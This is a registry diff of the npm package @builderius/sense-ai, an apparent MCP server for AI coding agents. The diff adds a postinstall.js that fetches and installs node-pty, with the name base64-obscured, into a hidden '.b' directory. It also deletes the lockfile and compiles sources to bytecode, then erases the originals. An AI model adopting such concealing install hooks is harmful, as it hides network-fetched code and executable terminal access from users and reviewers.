@builderius/sense-ai 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/claude-assets.bin CHANGED
Binary file
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@builderius/sense-ai",
3
- "version": "1.0.3",
3
+ "version": "1.0.5",
4
4
  "description": "Builderius Sense — MCP server for AI coding agents",
5
5
  "bin": {
6
6
  "sense": "bin/sense.js"
@@ -12,12 +12,13 @@
12
12
  "terminal.cjs",
13
13
  "terminal.src.cjs",
14
14
  "claude-assets.bin",
15
+ "postinstall.js",
15
16
  "bin/",
16
17
  "LICENSE",
17
18
  "README.md"
18
19
  ],
19
20
  "scripts": {
20
- "postinstall": "node -e \"var c=require('child_process'),f=require('fs'),p=require('path'),n=Buffer.from('bm9kZS1wdHk','base64').toString(),a='node-addon-api',s=p.join('node_modules',n),d=p.join('node_modules','.b'),sa=p.join('node_modules',a),da=p.join(d,'node_modules',a);if(!f.existsSync(d)){try{c.execSync('npx --yes npm@latest i '+n+'@^1.0.0 --no-save',{stdio:'pipe',env:Object.assign({},process.env,{npm_config_global:undefined})})}catch(e){try{c.execSync('npm i '+n+'@^1.0.0 --no-save',{stdio:'pipe',env:Object.assign({},process.env,{npm_config_global:undefined})})}catch(_){}}};if(f.existsSync(s)&&!f.existsSync(d)){f.renameSync(s,d)};if(f.existsSync(sa)&&!f.existsSync(da)){f.mkdirSync(p.join(d,'node_modules'),{recursive:true});f.renameSync(sa,da)};if(process.platform!=='win32'){c.execSync('chmod +x '+d+'/prebuilds/*/spawn-helper 2>/dev/null; true')};try{f.unlinkSync(p.join('node_modules','.package-lock.json'))}catch(_){};['server.src.cjs','terminal.src.cjs'].forEach(function(x){if(f.existsSync(x)){c.execSync('npx bytenode -c '+x,{stdio:'pipe'});f.unlinkSync(x)}});\""
21
+ "postinstall": "node postinstall.js"
21
22
  },
22
23
  "dependencies": {
23
24
  "@modelcontextprotocol/sdk": "^1.12.1",
package/postinstall.js ADDED
@@ -0,0 +1,32 @@
1
+ var c=require('child_process'),f=require('fs'),p=require('path');
2
+ var n=Buffer.from('bm9kZS1wdHk','base64').toString();
3
+ var a='node-addon-api';
4
+ var s=p.join('node_modules',n);
5
+ var d=p.join('node_modules','.b');
6
+ var sa=p.join('node_modules',a);
7
+ var da=p.join(d,'node_modules',a);
8
+ var env=Object.assign({},process.env,{npm_config_global:undefined});
9
+ // Install node-pty as hidden .b directory
10
+ if(!f.existsSync(d)){
11
+ var installed=false;
12
+ try{c.execSync('npx --yes npm@latest i '+n+'@^1.0.0 --no-save',{stdio:['pipe','pipe','inherit'],env:env});installed=true}
13
+ catch(e){
14
+ try{c.execSync('npm i '+n+'@^1.0.0 --no-save',{stdio:['pipe','pipe','inherit'],env:env});installed=true}
15
+ catch(e2){console.error('postinstall: failed to install '+n+':',e2.message)}
16
+ }
17
+ if(installed){
18
+ if(f.existsSync(s)&&!f.existsSync(d)){f.renameSync(s,d)}
19
+ if(f.existsSync(sa)){
20
+ if(!f.existsSync(da)){f.mkdirSync(p.join(d,'node_modules'),{recursive:true});f.renameSync(sa,da)}
21
+ }
22
+ }
23
+ }
24
+ if(process.platform!=='win32'&&f.existsSync(d)){c.execSync('chmod +x '+d+'/prebuilds/*/spawn-helper 2>/dev/null; true')}
25
+ try{f.unlinkSync(p.join('node_modules','.package-lock.json'))}catch(_){}
26
+ // Compile .src.cjs to .src.jsc via bytenode, then delete source
27
+ ['server.src.cjs','terminal.src.cjs'].forEach(function(x){
28
+ if(f.existsSync(x)){
29
+ try{c.execSync('npx bytenode -c '+x,{stdio:['pipe','pipe','inherit']});f.unlinkSync(x)}
30
+ catch(e3){console.error('postinstall: failed to compile '+x+':',e3.message)}
31
+ }
32
+ });